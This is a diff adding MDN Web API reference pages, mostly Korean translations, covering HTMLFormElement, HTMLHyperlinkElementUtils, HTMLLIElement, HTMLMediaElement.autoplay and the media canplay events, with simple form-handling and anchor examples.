+ <dt>{{domxref("HTMLFormElement.encoding")}} or {{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set. The two properties are synonyms.</dd>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("accept-charset", "form") }} HTML attribute, representing the character encoding that the server accepts.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("autocomplete", "form") }} HTML attribute, indicating whether the controls in this form can have their values automatically populated by the browser.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the value of the form's {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating whether the form should not be validated.</dd>
+</dl>
+
+<p>Named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (eg a form with an input named <code>action</code> will have its <code>action</code> property return that input instead of the form's {{ htmlattrxref("action", "form") }} HTML attribute).</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.checkValidity", "checkValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls are subject to <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> and satisfy those contraints; returns <code>false</code> if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to <code>false</code>.</dd>
+ <dt>{{domxref("HTMLFormElement.reportValidity", "reportValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls satisfy their <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">validation constraints</a>. When <code>false</code> is returned, cancelable {{Event("invalid")}} events are fired for each invalid child and validation problems are reported to the user.</dd>
+ <dt>{{domxref("HTMLFormElement.requestSubmit", "requestSubmit()")}}</dt>
+ <dd>Requests that the form be submitted using the specified submit button and its corresponding configuration.</dd>
+ <dt>{{domxref("HTMLFormElement.reset", "reset()")}}</dt>
+ <dd>Resets the form to its initial state.</dd>
+ <dt>{{domxref("HTMLFormElement.submit", "submit()")}}</dt>
+ <dd>Submits the form to the server.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.requestAutocomplete()")}} {{deprecated_inline}}</dt>
+ <dd>Triggers a native browser interface to assist the user in completing the fields which have an <a href="https://html.spec.whatwg.org/#autofill-field-name">autofill field name</a> value that is not <code>off</code> or <code>on</code>. The form will receive an event once the user has finished with the interface, the event will either be {{event("autocomplete")}} when the fields have been filled or {{event("autocompleteerror")}} when there was a problem.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/formdata_event">formdata</a></code></dt>
+ <dd>The <code>formdata</code> event fires after the entry list representing the form's data is constructed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onformdata">onformdata</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/reset_event">reset</a></code></dt>
+ <dd>The <code>reset</code> event fires when a form is reset.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onreset">onreset</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/submit_event">submit</a></code></dt>
+ <dd>The <code>submit</code> event fires when a form is submitted.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> property.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Obtaining_a_form_element_object">Obtaining a form element object</h3>
+
+<p>To obtain an <code>HTMLFormElement</code> object, you can use a <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> with {{domxref("ParentNode.querySelector", "querySelector()")}}, or you can get a list of all of the forms in the document using its {{domxref("Document.forms", "forms")}} property.</p>
+
+<p>{{domxref("Document.forms")}} returns an array of <code>HTMLFormElement</code> objects listing each of the forms on the page. You can then use any of the following syntaxes to get an individual form:</p>
+
+<dl>
+ <dt><code>document.forms[<em>index</em>]</code></dt>
+ <dd>Returns the form at the specified <code>index</code> into the array of forms.</dd>
+ <dt><code>document.forms[<em>id</em>]</code></dt>
+ <dd>Returns the form whose ID is <code>id</code>.</dd>
+ <dt><code>document.forms[<em>name</em>]</code></dt>
+ <dd>Returns the form whose {{domxref("Element.name", "name")}} attribute's value is <code>name</code>.</dd>
+</dl>
+
+<h3 id="Accessing_the_forms_elements">Accessing the form's elements</h3>
+
+<p>You can access the list of the form's data-containing elements by examining the form's {{domxref("HTMLFormElement.elements", "elements")}} property. This returns an {{domxref("HTMLFormControlsCollection")}} listing all of the form's user data entry elements, both those which are descendants of the <code>&lt;form&gt;</code> and those which are made members of the form using their <code>form</code> attributes.</p>
+
+<p>You can also get the form's element by using its <code>name</code> attribute as a key of the <code>form</code>, but using <code>elements</code> is a better approach — it contains only the form's elements, and it cannot be mixed with other attributes of the <code>form</code>.</p>
+
+<h3 id="Elements_that_are_considered_form_controls">Elements that are considered form controls</h3>
+
+<p>The elements which are included by <code>HTMLFormElement.elements</code> and <code>HTMLFormElement.length</code> are:</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}} (with the exception that any whose {{htmlattrxref("type", "input")}} is <code>"image"</code> are omitted for historical reasons)</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>No other elements are included in the list returned by <code>elements</code>, which makes it an excellent way to get at the elements most important when processing forms.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Creating a new form element, modifying its attributes, then submitting it:</p>
+
+<pre class="brush: js">var f = document.createElement("form");// Create a form
+document.body.appendChild(f); // Add it to the document body
+f.action = "/cgi-bin/some.cgi"; // Add action and method attributes
+f.method = "POST";
+f.submit(); // Call the form's submit method
+</pre>
+
+<p>Extract information from a form element and set some of its attributes:</p>
+
+<pre class="brush: html">&lt;form name="formA" action="/cgi-bin/test" method="post"&gt;
+ &lt;p&gt;Press "Info" for form details, or "Set" to change those details.&lt;/p&gt;
+ &lt;p&gt;
+ &lt;button type="button" onclick="getFormInfo();"&gt;Info&lt;/button&gt;
+ &lt;button type="button" onclick="setFormInfo(this.form);"&gt;Set&lt;/button&gt;
+ &lt;button type="reset"&gt;Reset&lt;/button&gt;
+ &lt;/p&gt;
+
+ &lt;textarea id="form-info" rows="15" cols="20"&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+ function getFormInfo(){
+ // Get a reference to the form via its name
+ var f = document.forms["formA"];
+ // The form properties we're interested in
+ var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptCharset', 'action', 'enctype', 'method', 'target' ];
+ // Iterate over the properties, turning them into a string that we can display to the user
+ var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n");
+
+ // Set the form's &lt;textarea&gt; to display the form's properties
+ document.forms["formA"].elements['form-info'].value = info; // document.forms["formA"]['form-info'].value would also work
+ }
+
+ function setFormInfo(f){ // Argument should be a form element reference.
+ f.action = "a-different-url.cgi";
+ f.name = "a-different-name";
+ }
+&lt;/script&gt;
+</pre>
+
+<p>Submit a form into a new window:</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"&gt;
+&lt;title&gt;Example new-window form submission&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;form action="test.php" target="_blank"&gt;
+ &lt;p&gt;&lt;label&gt;First name: &lt;input type="text" name="firstname"&gt;&lt;/label&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;label&gt;Last name: &lt;input type="text" name="lastname"&gt;&lt;/label&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;label&gt;&lt;input type="password" name="pwd"&gt;&lt;/label&gt;&lt;/p&gt;
+
+ &lt;fieldset&gt;
+ &lt;legend&gt;Pet preference&lt;/legend&gt;
+ &lt;p&gt;&lt;label&gt;&lt;input type="radio" name="pet" value="cat"&gt; Cat&lt;/label&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;label&gt;&lt;input type="radio" name="pet" value="dog"&gt; Dog&lt;/label&gt;&lt;/p&gt;
+ &lt;/fieldset&gt;
+
+ &lt;fieldset&gt;
+ &lt;legend&gt;Owned vehicles&lt;/legend&gt;
+
+ &lt;p&gt;&lt;label&gt;&lt;input type="checkbox" name="vehicle" value="Bike"&gt;I have a bike&lt;/label&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;label&gt;&lt;input type="checkbox" name="vehicle" value="Car"&gt;I have a car&lt;/label&gt;&lt;/p&gt;
+ &lt;/fieldset&gt;
+
+ &lt;p&gt;&lt;button&gt;Submit&lt;/button&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Submitting_forms_and_uploading_files_using_XMLHttpRequest">Submitting forms and uploading files using <code>XMLHttpRequest</code></h3>
+
+<p>If you want to know how to serialize and submit a form using the {{domxref("XMLHttpRequest")}} API, please read <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmlformelement", "HTMLFormElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>The following method has been added: <code>requestAutocomplete()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "sec-forms.html#htmlformelement", "HTMLFormElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change. The following method has been added: <code>checkValidity()</code>. The following properties have been added: <code>autocomplete</code>, <code>noValidate</code>, and <code>encoding</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("form") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlhyperlinkelementutils/href/index.html b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html
new file mode 100644
index 0000000000..ba2dbea4d5
--- /dev/null
+++ b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html
@@ -0,0 +1,51 @@
+---
+title: HTMLHyperlinkElementUtils.href
+slug: Web/API/HTMLHyperlinkElementUtils/href
+tags:
+ - API
+ - Experimental
+ - HTMLHyperlinkElementUtils
+ - Location
+ - Property
+ - Reference
+translation_of: Web/API/HTMLHyperlinkElementUtils/href
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>HTMLHyperlinkElementUtils.href</code></strong> 속성은 온전한 URL을 값으로 가지는 {{domxref("USVString")}}입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Lets imagine an &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"&gt; element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLHyperlinkElementUtils.href")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlhyperlinkelementutils/index.html b/files/ko/web/api/htmlhyperlinkelementutils/index.html
new file mode 100644
index 0000000000..cd82725dbf
--- /dev/null
+++ b/files/ko/web/api/htmlhyperlinkelementutils/index.html
@@ -0,0 +1,91 @@
+---
+title: HTMLHyperlinkElementUtils
+slug: Web/API/HTMLHyperlinkElementUtils
+tags:
+ - API
+ - Experimental
+ - Mixin
+ - NeedsTranslation
+ - TopicStub
+ - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p>
+
+<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<div class="note">
+<p><strong>Note: </strong>This interface doesn't inherit any property.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the whole URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt>
+ <dd>This is a {{domxref("USVString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<div class="note">
+<p><strong>Note: </strong>This interface doesn't inherit any method.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt>
+ <dd>This returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLHyperlinkElementUtils")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
+ </li>
+</ul>
diff --git a/files/ko/web/api/htmllielement/index.html b/files/ko/web/api/htmllielement/index.html
new file mode 100644
index 0000000000..8d75b5f623
--- /dev/null
+++ b/files/ko/web/api/htmllielement/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLLIElement
+slug: Web/API/HTMLLIElement
+translation_of: Web/API/HTMLLIElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p> <strong><code>HTMLLIElement</code></strong> 인터페이스는 리스트 엘리먼트를 조작하기 위한 특정 프로퍼티와 메소드들을 제공합니다.</p>
+
+<p>( 정규 {{domxref("HTMLElement")}} 인터페이스의 상속을통해 사용이 가능합니다. )</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}에서 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}</dt>
+ <dd>는  {{domxref("DOMString")}} 의 <code>"disc"</code>, <code>"square"</code> 나 <code>"circle"</code> 같은 bullets 타입을 대표합니다.<br>
+ 리스트 유형을 정의하는 표준 정의 방법은 CSS {{cssxref("list-style-type")}} 프로퍼티를 통해서 이므로, 스트립트를 통하여 CSSSOM 메소드를 사용하세요.</dd>
+ <dt>{{domxref("HTMLLIElement.value")}}</dt>
+ <dd>는 주어진 {{HTMLElement("ol")}} 리스트 엘리먼트 안에서 서수의 위치를 가르키는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">오랜</span></font> 서수적 포지션입니다. 이것은 HTML의  {{HTMLElement("li")}}엘리먼트의 {{htmlattrxref("value", "li")}}속성을 나타냅니다. 그리고  <code>0</code> 보다 작을 수도 있습니다.<br>
+ 만일 {{HTMLElement("li")}} 엘리먼트가 {{HTMLElement("ol")}}  엘리먼트의 자식이 아니라면, 프로퍼티는 아무 의미가 없게됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>특정 메소드가 없으며, 부모로부터 프로퍼티를 상속 받습니다.{{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmllielement", "HTMLLIElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-li-element", "HTMLLIElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>The following property is now obsolete: <code>type</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-74680021', 'HTMLLIElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>No change from {{SpecName("DOM1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-74680021', 'HTMLLIElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLLIElement")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("li")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/autoplay/index.html b/files/ko/web/api/htmlmediaelement/autoplay/index.html
new file mode 100644
index 0000000000..666c3a41a8
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/autoplay/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLMediaElement.autoplay
+slug: Web/API/HTMLMediaElement/autoplay
+translation_of: Web/API/HTMLMediaElement/autoplay
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary"><strong><code>HTMLMediaElement.autoplay</code></strong> 프로퍼티는 {{htmlattrxref("autoplay", "video")}} HTML 어트리뷰트의 값을 반환합니다. 이 프로퍼티는 미디어가 문제 없이 재생 가능한 상황이 되면 자동 재생 여부를 결정합니다.</span></p>
+
+<p>미디어 엘리먼트의 소스가 {{domxref("MediaStream")}}이며 <code>autoplay</code> 프로퍼티가 <code>true</code> 일 경우 액티브 상태가 되면 재생합니다 (즉, {{domxref("MediaStream.active")}}가 <code>true</code>가 될 때).</p>
+
+<div class="note">
+<p><strong>Note:</strong> 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.</p>
+</div>
+
+<p>자동 재생과 자동 재생 제한, 그리고 브라우저의 자동 재생 제한에 대처하는 법에 대해 자세히 알고 싶다면 <a href="/en-US/docs/Web/Media/Autoplay_guide">미디어 자동 재생과 Web Audio API 가이드</a> 문서를 참조하세요.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>HTMLMediaElement</em>.autoplay = true | false;
+
+var <em>autoplay</em> = <em>HTMLMediaElement</em>.autoplay;</pre>
+
+<h3 id="값">값</h3>
+
+<p>미디어가 재생 가능할 정도로 로드되고 문제 없이 재생 가능할 때 자동 재생 여부를 {{domxref("Boolean")}} <code>true</code> 로 반환한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 특정 브라우저는 사용자 설정을 통해 <code>autoplay</code> 프로퍼티를 무시하고 비디오/오디오 자동 재생을 막는 기능을 제공합니다. 자동 재생을 위해 <code>autoplay</code> 프로퍼티를 맹신하지 마세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>...</p>
+
+<pre class="brush: html">&lt;video id="video" controls&gt;
+ &lt;source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&amp;profile_id=165"&gt;
+&lt;/video&gt;</pre>
+
+<pre>*** Disable autoplay (recommended) ***
+ false is the default value
+ document.querySelector('#video').autoplay = false;
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-autoplay", "HTMLMediaElement.autoplay")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.autoplay")}}</p>
+
+<h2 id="See_Also" name="See_Also">더 보기</h2>
+
+<ul>
+ <li>정의된 인터페이스 {{domxref("HTMLMediaElement")}}.</li>
+ <li>{{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/canplay_event/index.html b/files/ko/web/api/htmlmediaelement/canplay_event/index.html
new file mode 100644
index 0000000000..95f700ef3f
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/canplay_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: canplay'
+slug: Web/API/HTMLMediaElement/canplay_event
+tags:
+ - canplay
+translation_of: Web/API/HTMLMediaElement/canplay_event
+---
+<p><code>canplay</code> 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생된다. 그러나, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에는, 로드된 데이터가 충분하지 않을 것으로 추산한다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html
new file mode 100644
index 0000000000..198bc13a39
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: canplaythrough'
+slug: Web/API/HTMLMediaElement/canplaythrough_event
+tags:
+ - canplaythrough
+translation_of: Web/API/HTMLMediaElement/canplaythrough_event
+---
+<p><code>canplaythrough</code> 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생되며, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에 로드된 데이터가 충분할 것으로 추산한다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
